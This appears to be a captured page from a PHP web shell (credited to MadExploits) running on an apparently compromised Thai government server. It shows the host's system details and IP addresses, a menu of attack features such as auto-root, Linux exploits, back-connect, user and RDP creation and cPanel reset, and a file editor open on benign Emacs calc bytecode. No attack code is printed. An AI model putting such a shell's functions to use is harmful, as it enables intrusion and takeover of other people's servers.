Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
calc /
[ HOME SHELL ]
Name
Size
Permission
Action
README
7.89
KB
-rw-r--r--
README.prev
31.02
KB
-rw-r--r--
calc-aent.elc
26.85
KB
-rw-r--r--
calc-alg.elc
46.35
KB
-rw-r--r--
calc-arith.elc
81.62
KB
-rw-r--r--
calc-bin.elc
21.53
KB
-rw-r--r--
calc-comb.elc
30.12
KB
-rw-r--r--
calc-cplx.elc
8.5
KB
-rw-r--r--
calc-embed.elc
29.83
KB
-rw-r--r--
calc-ext.elc
108.83
KB
-rw-r--r--
calc-fin.elc
11.84
KB
-rw-r--r--
calc-forms.elc
48.05
KB
-rw-r--r--
calc-frac.elc
5.58
KB
-rw-r--r--
calc-funcs.elc
25.78
KB
-rw-r--r--
calc-graph.elc
35.09
KB
-rw-r--r--
calc-help.elc
19.55
KB
-rw-r--r--
calc-incom.elc
5.29
KB
-rw-r--r--
calc-keypd.elc
15.83
KB
-rw-r--r--
calc-lang.elc
57.72
KB
-rw-r--r--
calc-loaddefs.el
10.61
KB
-rw-r--r--
calc-macs.elc
6.09
KB
-rw-r--r--
calc-map.elc
29.56
KB
-rw-r--r--
calc-math.elc
60.12
KB
-rw-r--r--
calc-menu.elc
32.85
KB
-rw-r--r--
calc-misc.elc
20.54
KB
-rw-r--r--
calc-mode.elc
19.45
KB
-rw-r--r--
calc-mtx.elc
6.77
KB
-rw-r--r--
calc-nlfit.elc
13.59
KB
-rw-r--r--
calc-poly.elc
24.53
KB
-rw-r--r--
calc-prog.elc
51.27
KB
-rw-r--r--
calc-rewr.elc
40.01
KB
-rw-r--r--
calc-rules.elc
17.6
KB
-rw-r--r--
calc-sel.elc
19.83
KB
-rw-r--r--
calc-stat.elc
13.97
KB
-rw-r--r--
calc-store.elc
17.31
KB
-rw-r--r--
calc-stuff.elc
8.07
KB
-rw-r--r--
calc-trail.elc
4.67
KB
-rw-r--r--
calc-undo.elc
3.35
KB
-rw-r--r--
calc-units.elc
37.86
KB
-rw-r--r--
calc-vec.elc
37.25
KB
-rw-r--r--
calc-yank.elc
16.66
KB
-rw-r--r--
calc.elc
101.08
KB
-rw-r--r--
calcalg2.elc
80.01
KB
-rw-r--r--
calcalg3.elc
42.38
KB
-rw-r--r--
calccomp.elc
32.86
KB
-rw-r--r--
calcsel2.elc
6.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calc-misc.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:37 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/calc/calc-misc.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`calc-misc.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\207" [require calc calc-macs] 2) #@2358 C-x* is a prefix key sequence; follow it with one of these letters: For turning Calc on and off: C calc. Start the Calculator in a window at the bottom of the screen. O calc-other-window. Start the Calculator but don't select its window. B calc-big-or-small. Control whether to use the full Emacs screen for Calc. Q quick-calc. Use the Calculator in the minibuffer. K calc-keypad. Start the Calculator in keypad mode (X window system only). E calc-embedded. Use the Calculator on a formula in this editing buffer. J calc-embedded-select. Like E, but select appropriate half of => or :=. W calc-embedded-word. Like E, but activate a single word, i.e., a number. Z calc-user-invocation. Invoke Calc in the way you defined with `Z I' cmd. X calc-quit. Turn Calc off. For moving data into and out of Calc: G calc-grab-region. Grab the region defined by mark and point into Calc. R calc-grab-rectangle. Grab the rectangle defined by mark, point into Calc. : calc-grab-sum-down. Grab a rectangle and sum the columns. _ calc-grab-sum-across. Grab a rectangle and sum the rows. Y calc-copy-to-buffer. Copy a value from the stack into the editing buffer. For use with Embedded mode: A calc-embedded-activate. Find and activate all :='s and =>'s in buffer. D calc-embedded-duplicate. Make a copy of this formula and select it. F calc-embedded-new-formula. Insert a new formula at current point. N calc-embedded-next. Advance cursor to next known formula in buffer. P calc-embedded-previous. Advance cursor to previous known formula. U calc-embedded-update-formula. Re-evaluate formula at point. ` calc-embedded-edit. Use calc-edit to edit formula at point. Documentation: I calc-info. Read the Calculator manual in the Emacs Info system. T calc-tutorial. Run the Calculator Tutorial using the Emacs Info system. S calc-summary. Read the Summary from the Calculator manual in Info. Miscellaneous: L calc-load-everything. Load all parts of the Calculator into memory. M read-kbd-macro. Read a region of keystroke names as a keyboard macro. 0 (zero) calc-reset. Reset Calc stack and modes to default state. Press `*' twice (`C-x * *') to turn Calc on or off using the same Calc user interface as before (either C-x * C or C-x * K; initially C-x * C). (defalias 'calc-dispatch-help #[(arg) "\302 \210\203 \303\213\210\304\305!\207\306\304 !)\207" [calc-dispatch-help arg calc-check-defines ((byte-code "\302\303!\210\304\305!\211\2030 \306\307!\210\310\311\312\"\210\313\314!\211@\315>\203* \316\317\320\217\210\202 \321 A!\210))\306\207" [win key describe-function calc-dispatch-help get-buffer-window "*Help*" nil select-window message "Calc options: Calc, Keypad, ... %s" "press SPC, DEL to scroll, C-g to cancel" calc-read-key t (32 8 127 22 134217846) err (byte-code "@\301>\203 \302 \210\202 \303 \210\302\207" [key (32 22) scroll-up scroll-down] 2) ((error (beep))) calc-unread-command] 4)) calc-do-dispatch nil t] 2 (#$ . 684) "P"]) #@51 Toggle Calc between full-screen and regular mode. (defalias 'calc-big-or-small #[(arg) "\305\306!\305\307!\305\310!\211\203) \203! \205( \311 !\312 =\202( \313\n!\314 S=\f\2035 \315\f!\316V\2027 ?\203G \317 \210\320 \321\"\210\202T \n\203T \317 \210\322\321 \321#\210\323 \203] \324\202^ \325!+\207" [kwin twin cwin calc-full-mode arg get-buffer-window "*Calculator*" "*Calc Trail*" "*Calc Keypad*" window-width frame-width window-height frame-height prefix-numeric-value 0 calc-quit calc-do-keypad nil calc message "Now using full screen for Calc" "Now using partial screen for Calc"] 5 (#$ . 3748) "P"]) #@42 Invoke the Calculator in another window. (defalias 'calc-other-window #[(&optional interactive) "\303>\203 \304\305!\210\306>\205& \304\305!\207\307\310!\203 \311 \207\312 \313\314 \n#)\207" [major-mode win interactive (calc-mode calc-trail-mode) other-window 1 (calc-mode calc-trail-mode) get-buffer-window "*Calculator*" calc-quit selected-window calc nil] 4 (#$ . 4369) "p"]) #@48 Create another, independent Calculator buffer. (defalias 'another-calc #[nil "\302=\203 \303\304 \"\210\305\306!q\210\307p!\210\302 \207" [major-mode calc-local-var-list calc-mode mapc #[(v) "\301\211J\"\207" [v set-default] 3] generate-new-buffer "*Calculator*" pop-to-buffer] 3 (#$ . 4759) nil]) #@60 Run the Emacs Info system on the Calculator documentation. (defalias 'calc-info #[nil "\300\301 !\210\302\303!\207" [select-window get-largest-window info "Calc"] 2 (#$ . 5066) nil]) #@52 Go to a node in the Calculator info documentation. (defalias 'calc-info-goto-node #[(node) "\301\302 !\210\303\304P!\207" [node select-window get-largest-window info "(Calc)"] 3 (#$ . 5255) nil]) #@55 Run the Emacs Info system on the Calculator Tutorial. (defalias 'calc-tutorial #[nil "\300\301!\203 \302 \210\303\304!\210\305 \210\306\307!\207" [get-buffer-window "*Calculator*" calc-quit calc-info-goto-node "Interactive Tutorial" calc-other-window message "Welcome to the Calc Tutorial!"] 2 (#$ . 5458) nil]) #@54 Run the Emacs Info system on the Calculator Summary. (defalias 'calc-info-summary #[nil "\300\301!\207" [calc-info-goto-node "Summary"] 2 (#$ . 5777) nil]) (defalias 'calc-help #[nil "\306 \203\n \202a \n\204 \203) \n\203$ \203 \307 \202a \310 \202a \311 \202a \f =\2039 TGT\246\202: \312\2118 \313\314\203^ \315\316\317\320\321\322\"\"GZ\323\"\324R\202_ \325\"))\207" [msgs calc-full-help-flag calc-inverse-flag calc-hyperbolic-flag this-command last-command ("Press `h' for complete help; press `?' repeatedly for a summary" "Letter keys: Negate; Precision; Yank; Why; Xtended cmd; Quit" "Letter keys: SHIFT + Undo, reDo; Keep-args; Inverse, Hyperbolic" "Letter keys: SHIFT + sQrt; Sin, Cos, Tan; Exp, Ln, logB" "Letter keys: SHIFT + Floor, Round; Abs, conJ, arG; Pi" "Letter keys: SHIFT + Num-eval; More-recn; eXec-kbd-macro" "Other keys: +, -, *, /, ^, \\ (int div), : (frac div)" "Other keys: & (1/x), | (concat), % (modulo), ! (factorial)" "Other keys: ' (alg-entry), = (eval), ` (edit); M-RET (last-args)" "Other keys: SPC/RET (enter/dup), LFD (over); < > (scroll horiz)" "Other keys: DEL (drop), M-DEL (drop-above); { } (scroll vert)" "Other keys: TAB (swap/roll-dn), M-TAB (roll-up)" "Other keys: [ , ; ] (vector), ( , ) (complex), ( ; ) (polar)" "Prefix keys: Algebra, Binary/business, Convert, Display" "Prefix keys: Functions, Graphics, Help, J (select)" "Prefix keys: Kombinatorics/statistics, Modes, Store/recall" "Prefix keys: Trail/time, Units/statistics, Vector/matrix" "Prefix keys: Z (user), SHIFT + Z (define)" "Prefix keys: prefix + ? gives further help for that prefix" " Calc by Dave Gillespie, daveg@synaptics.com") calc-inv-hyp-prefix-help calc-inverse-prefix-help calc-hyperbolic-prefix-help 0 message "%s" ":" make-string apply max mapcar length 32 " [?=MORE]" "" calc-help-phase msg] 11 nil nil]) (defalias 'calc-do-handle-whys #[nil "\305\306\"\307 \205@ \n\310=\204 @@\311=\205@ \n\205@ \312\313!\210\314 @\n\310=\203/ A\2029 \n\2059 A@@\311=\"\210 \315\316!\207" [calc-next-why calc-why calc-auto-why this-command calc-last-why-command sort #[(x y) "@\302=\205\f @\302=?\207" [x y *] 2] nil t * require calc-ext calc-explain-why calc-clear-command-flag clear-message] 4]) (defalias 'calc-record-why #[(&rest stuff) "@\303=\203 A\202k @9\203R A\203R A@\211:?\206& @\304>)\204K A@\211:\2057 @\305=)\203C \306A@!\204K \307A@!\203R \310B\202k @;\203k \311\312@\"\203k \310@\313\314OABB\nB\314\207" [stuff a calc-next-why quiet (bigpos bigneg frac float cplx polar hms date sdev intv mod) vec math-constp math-infinitep * string-match "\\`\\*" 1 nil] 5]) (defalias 'math-constp #[(a) "\211:?\206\f @\301>)\2068 @\302>\2058 A\211\2036 @\211:?\206+ @\301>)\204 \303@!\204 ?\207" [a (bigpos bigneg frac float cplx polar hms) (sdev intv mod vec) math-constp] 3]) (defalias 'calc-roll-down-stack #[(n &optional m) "\304W\203\f \305[ \"\207\304U\204 \306 V\203 \306 \204\" \307\307V\205K W\205K \n\203; \204; \310 \"\207\311\312\313 \307\"\313 Z T\"\"\"\207" [n m calc-any-selections calc-use-selections 0 calc-roll-up-stack calc-stack-size 1 calc-roll-down-with-selections calc-pop-push-list append calc-top-list] 7]) (defalias 'calc-roll-up-stack #[(n &optional m) "\304W\203\f \305[ \"\207\304U\204 \306 V\203 \306 \204\" \307\307V\205N W\205N \n\203; \204; \310 \"\207\311\312\313 Z\307\"\313 \314 \315#\"\"\"\207" [n m calc-any-selections calc-use-selections 0 calc-roll-down-stack calc-stack-size 1 calc-roll-up-with-selections calc-pop-push-list append calc-top-list - -1] 10]) (defalias 'calc-do-refresh #[nil "\203 \302\303\207\304 \210\302\207" [calc-hyperbolic-flag calc-display-dirty t nil calc-refresh] 1]) (defalias 'calc-record-list #[(vals &optional prefix) "\205 @\302=\204 \303@ \"\210\304A\211\204 \305\207" [vals prefix top-of-stack calc-record "..." nil] 4]) (defalias 'calc-last-args-stub #[(arg) "\301\302!\210\303!\207" [arg require calc-ext calc-last-args] 2 nil "p"]) (defalias 'calc-power #[(arg) "\300\301`\"\207" [calc-do #[nil "\301\302!\203 \303 \203 \304\305\306\307\211%\207\304\310\311\307\211\312&\207" [arg featurep calc-ext calc-is-inverse calc-binary-op "root" calcFunc-nroot nil "^" calcFunc-pow ^] 7]] 3 nil "P"]) (defalias 'calc-mod #[(arg) "\300\301`\"\207" [calc-do #[nil "\301\302\303\304\211\305&\207" [arg calc-binary-op "%" calcFunc-mod nil %] 7]] 3 nil "P"]) (defalias 'calc-inv #[(arg) "\300\301`\"\207" [calc-do #[nil "\301\302\303#\207" [arg calc-unary-op "inv" calcFunc-inv] 4]] 3 nil "P"]) (defalias 'calc-percent #[nil "\300\301`\"\207" [calc-do #[nil "\300\301\302\303\304\301!DC#\207" [calc-pop-push-record-list 1 "%" calcFunc-percent calc-top-n] 6]] 3 nil nil]) (defalias 'calc-over #[(n) "\203 \301\302![!\207\301\303!\207" [n calc-enter prefix-numeric-value -2] 3 nil "P"]) (defalias 'calc-pop-above #[(n) "\203 \301\302![!\207\301\303!\207" [n calc-pop prefix-numeric-value -2] 3 nil "P"]) (defalias 'calc-roll-down #[(n) "\300\301!\207" [calc-do #[nil "\302!\204 \303\304!\2023 \305V\203 \303 !\2023 \305U\203- \306\307 \310\311\307 !!\"\2023 \303\307 [\")\207" [n nn prefix-numeric-value calc-roll-down-stack 2 0 calc-pop-push-list calc-stack-size reverse calc-top-list] 5]] 2 nil "P"]) (defalias 'calc-roll-up #[(n) "\300\301!\207" [calc-do #[nil "\302!\204 \303\304!\2023 \305V\203 \303 !\2023 \305U\203- \306\307 \310\311\307 !!\"\2023 \303\307 [\")\207" [n nn prefix-numeric-value calc-roll-up-stack 3 0 calc-pop-push-list calc-stack-size reverse calc-top-list] 5]] 2 nil "P"]) (defalias 'calc-num-prefix-name #[(n) "\301=\203 \302\207\303\232\203 \304\207:\203 \305\306@\"\207\250\203% \305\306\"\207\307\207" [n - "- " (4) "C-u " format "%d " ""] 3]) #@201 This is a placeholder for a command which needs to be loaded from calc-ext. When this key is used, calc-ext (the Calculator extensions module) will be loaded and the keystroke automatically re-typed. (defalias 'calc-missing-key #[(n) "\303\304!\210\305\306\307!!!\203 \310\311\312 !#\210\313 \210 \211\207" [last-command-event n prefix-arg require calc-ext keymapp key-binding char-to-string message "%s%c-" calc-num-prefix-name calc-unread-command] 4 (#$ . 11576) "P"]) (defalias 'calc-shift-Y-prefix-help #[nil "\301\302!\210\303\304\305#\207" [calc-Y-help-msgs require calc-ext calc-do-prefix-help "other" 89] 4 nil nil]) (defalias 'calcDigit-letter #[nil "\301\302!\203\f \226\303 \207\304 \207" [last-command-event calc-minibuffer-contains "[-+]?\\(1[1-9]\\|[2-9][0-9]\\)#.*" calcDigit-key calcDigit-nondigit] 2 nil nil]) (defalias 'calc-temp-minibuffer-message #[(m) "d\212db\210 c\210)\303\304\216\305\306!\210\307\211+\207" [savemax m okay nil ((byte-code "d|\210 \204 \302 \210\302\207" [savemax okay abort-recursive-edit] 2)) sit-for 2 t] 2]) (put 'math-with-extra-prec 'lisp-indent-hook 1) (defalias 'math-concat #[(v1 v2) ";\203 P\207\302\303!\210\304!\204 \305!\203Z \304 !\204% \305 !\203Z \306\307!\203< \310!\2048 \310 !\204< \202? \311D\307 !\203V \310 !\204Q \310!\204V A\202X C\"\207\312 E\207" [v1 v2 require calc-ext math-objvecp math-known-scalarp append math-vectorp math-matrixp vec |] 4]) (defalias 'math-zerop #[(a) ":\203X @\301>\203 A\211@\302=\204\f ?\207@\303>\203& \304A@!\207@\305=\203; \304A@!\205W \304\3068!\207@\307=\205[ \304A@!\205W \304\3068!\205W \304\3108!\207\302=\207" [a (bigpos bigneg) 0 (frac float polar mod) math-zerop cplx 2 hms 3] 3]) (defalias 'math-negp #[(a) ":\203\217 @\301=\203 \302\207@\303=\203 A\207@\304>\2034 A@\211:\203/ @\303=\2022 \305W)\207@\306=\203] \307A@!\203W \307\3108!\203Q \311\3128!\207\311\3108!\207\311A@!\207@\313=\203j \311A@!\207@\314=\203\207 \311\3128!\206\216 \307\3128!\205\222 A@\315>\207\316\232\205\222 \317\207\305W\207" [a bigpos nil bigneg (float frac) 0 hms math-zerop 2 math-negp 3 date intv (0 2) (neg (var inf var-inf)) t] 4]) (defalias 'math-looks-negp #[(a) "\211:\203: @\301=\206= @\302=?\205= @\303>\2034 A@\211:\203- @\301=\2020 \304W)\202= \305!\202= \304W)\206k \242\306=\206k \242\307>\203_ \310A@!\206k \310\3118!\206k \242\312=\205k \310A@!\207" [a bigneg bigpos (frac float) 0 math-negp neg (* /) math-looks-negp 2 -] 4]) (defalias 'math-posp #[(a) ":\203\235 @\301=\203 A\207@\302=\203 \303\207@\304>\2034 A@\211:\203/ @\301=\2022 \305V)\207@\306=\203] \307A@!\203W \307\3108!\203Q \311\3128!\207\311\3108!\207\311A@!\207@\313=\203j \311A@!\207@\314=\203x \307A@!?\207@\315=\203\225 \311\3108!\206\234 \307\3108!\205\240 A@\316>\207\317\232\205\240 \320\207\305V\207" [a bigpos bigneg nil (float frac) 0 hms math-zerop 2 math-posp 3 date mod intv (0 1) (var inf var-inf) t] 4]) (byte-code "\300\301\302\"\210\300\303\304\"\207" [defalias math-fixnump integerp math-fixnatnump natnump] 3) (defalias 'math-evenp #[(a) ":\203 @\301>\205 A@\302\246\303U\207\302\246\303U\207" [a (bigpos bigneg) 2 0] 2]) (defalias 'math-div2 #[(a) ":\203 A\203 \301@\302A!B!\207\303\207\304\245\207" [a math-normalize math-div2-bignum 0 2] 4]) (defalias 'math-div2-bignum #[(a) "A\203 @\302\245A@\302\246 \302\245_\\\303A!B\207@\302\245C\207" [a math-bignum-digit-size 2 math-div2-bignum] 4]) (defalias 'math-reject-arg #[(&optional a p option) "\203 \303 \n#\210\202 \203 \303 \n\"\210\304\305\n\205( \203& \nD\202( \nC\"\207" [option p a calc-record-why signal wrong-type-argument] 4]) (defalias 'math-trunc #[(a &optional math-trunc-prec) "\203 \302\303!\210\304 \"\207 \211:?\206 @\305>)\203 \207 \211\211:\203[ @\306=\206^ @\307=?\205^ @\310>\203U A@\211:\203N @\306=\202Q \311W)\202^ \312 !\202^ \311W)\206\202 :\205\202 @\313=\206\202 @\314>\205\202 \315 A@!\206\202 \315\316 8!)\203\216 \317\320\317 !!!\207 @\321=\203\236 \322 A@\316 8\"\207\302\303!\210\323 !\207" [math-trunc-prec a require calc-ext math-trunc-special (bigpos bigneg) bigneg bigpos (frac float) 0 math-negp neg (* /) math-looks-negp 2 math-neg math-trunc float math-scale-int math-trunc-fancy] 5]) (defalias 'calcFunc-trunc 'math-trunc) (defalias 'math-floor #[(a &optional math-floor-prec) "\203 \302\303!\210\304 \"\207 \211:?\206 @\305>)\203 \207 \211:\2052 @\306=\2052 \307 8\310Y)\203: \311 !\207 \211:?\206F @\312>)\203\226 \211:\203\204 @\313=\206\207 @\314=?\205\207 @\315>\203~ A@\211:\203w @\313=\202z \310W)\202\207 \316 !\202\207 \310W)\203\222 \317\311 !\320\"\207\311 !\207\302\303!\210\321 !\207" [math-floor-prec a require calc-ext math-floor-special (bigpos bigneg) float 2 0 math-trunc (bigpos bigneg frac float) bigneg bigpos (frac float) math-negp math-add -1 math-floor-fancy] 4]) (defalias 'calcFunc-floor 'math-floor) (defalias 'math-imod #[(a b) ":\204 :\204 \302U\203 \303\304\"\207 \246\207\305 \"A\207" [a b 0 math-reject-arg "*Division by zero" math-idivmod] 3]) (defalias 'calcFunc-inv #[(m) "\211:\205 @\303=)\2030 \304\305!\210\306!\203+ \307\n\310\\\311!)!\206/ \312\313\"\207\312\314\"\207\304\315!\203A \316!\203A \317\320\"\207\321\322\"\207" [m a calc-internal-prec vec require calc-ext math-square-matrixp math-normalize 2 math-matrix-inv-raw math-reject-arg "*Singular matrix" square-matrixp calc-arith math-known-matrixp math-pow -1 math-div 1] 4]) (defalias 'math-do-working #[(msg arg) "\206+ \306\307!\210 \203 \n\203 \310\311 \n $\202 \310\312 #\313\314 \f \315!)#\207" [executing-kbd-macro math-working-step math-working-step-2 msg calc-full-float-format calc-float-format calc-set-command-flag clear-message format "[%d/%d] %s" "[%d] %s" message "Working... %s = %s" math-format-number arg] 5]) (defalias 'math-mod #[(a b) "\211:\203$ @\302>?\205' @\303=\203 A@\304=\202' \305!\202' \304=)\2034 \242\306=\2044 \207 \211:\203X @\302>?\205[ @\303=\203R A@\304=\202[ \305!\202[ \304=)\203d \307\310\"\207\211:\203r @\311=\202u \304Y)\203\223 \211:\203\207 @\311=\202\212 \304Y)\203\223 \312 \"\207\211:?\206\237 @\313>)\203\300 \211:?\206\257 @\313>)\203\300 \314\315\316\317 \"! \"\"\207\320\321!\210\322 \"\207" [a b (bigpos bigneg) float 0 math-zerop mod math-reject-arg "*Division by zero" bigpos math-imod (bigpos bigneg frac float hms) math-sub math-mul math-floor math-div require calc-ext math-mod-fancy] 8]) (defalias 'math-pow #[(a b) "\303\232\203 \207 \211:\203, @\304>?\205/ @\305=\203& A@\306=\202/ \307 !\202/ \306=)\203\231 \211:?\206? @\310>)\203\220 \211:\203} @\311=\206\200 @\312=?\205\200 @\313>\203w A@\211:\203p @\311=\202s \306V)\202\200 \314 !\202\200 \306V)\203\220 \315!\203\216 \316 !\207 \207\317\320!\210\321 \"\207 \322=\204\245 \322=\203\247 \207 \323\232\204\263 \324\232\203\265 \207\211:\203\331 @\304>?\205\334 @\305=\203\323 A@\306=\202\334 \307 !\202\334 \306=)\203 \211:?\206\354 @\310>)\203 \315 !\204\374 \315!\203\376 \325\207\322\207\317\320!\210\326 \"\207\211:?\206 @\327>)\203T \211:?\206% @\330>)\2048 \211:\2054 @\331=)\203T \332\232\203H\250\203H\333\322\"\207\334\n\335\\\336 \")!\207\317\320!\210\337 \"\207" [b a calc-internal-prec (var nan var-nan) (bigpos bigneg) float 0 math-zerop (bigpos bigneg frac float cplx polar hms) bigpos bigneg (frac float) math-posp math-floatp math-float require calc-ext math-pow-of-zero 1 (float 1 0) (float 1 0) (float 1 0) math-pow-zero (bigpos bigneg) (bigpos bigneg frac float cplx polar) vec (float 1 1) math-make-float math-normalize 2 math-ipow math-pow-fancy] 5]) (defalias 'math-ipow #[(a n) "\211:\203 @\302=\202 \303W)\203; \304\305\306 \"\211:\2036 @\307=\203/ \302 AB\2028 \307 AB\2028 [)\"\207:\204` \211:?\206L @\310>)\203[ \311V\203[ \312 \"\207\313 \"\207\314!\203p \304\315 \211\"\316!\"\207\315 \304\315 \211\"\316\317\320\"!\"\"\207" [n a bigneg 0 math-ipow math-div 1 bigpos (bigpos bigneg frac) 20 math-iipow-show math-iipow math-evenp math-mul math-div2 math-add -1] 9]) (defalias 'math-iipow #[(a n) "\302U\203 \303\207\303U\203 \207\304\246\302U\203\" \305\306 \211\"\304\245\"\207\306 \305\306 \211\"\304\245\"\"\207" [n a 0 1 2 math-iipow math-mul] 6]) (defalias 'math-iipow-show #[(a n) "\304=\203 \305\306 \"\210\n\307U\203 \310\202? \n\310U\203 \202? \n\311\246\307U\2033 \312\313 \211\"\n\311\245\"\202? \313 \312\313 \211\"\n\311\245\"\"\304=\203K \305\306 \"\210 )\207" [calc-display-working-message a n val lots math-do-working "pow" 0 1 2 math-iipow-show math-mul] 6]) (defalias 'math-read-radix-digit #[(dig) "\301V\203 \302W?\205 \303Z\207\304Y\205 \304Z\207" [dig 57 65 55 48] 2]) #@104 Report a bug in Calc, the GNU Emacs calculator. Prompts for bug subject. Leaves you in a mail buffer. (defalias 'report-calc-bug #[nil "\302\303 \304\305\211\211\306&)\207" [reporter-prompt-for-summary-p calc-bug-address t reporter-submit-bug-report "Calc" nil "Please describe exactly what actions triggered the bug and the\nprecise symptoms of the bug. If possible, include a backtrace by\ndoing 'M-x toggle-debug-on-error', then reproducing the bug.\n"] 7 (#$ . 20440) nil]) (byte-code "\300\301\302\"\210\303\304!\207" [defalias calc-report-bug report-calc-bug provide calc-misc] 3)
Close
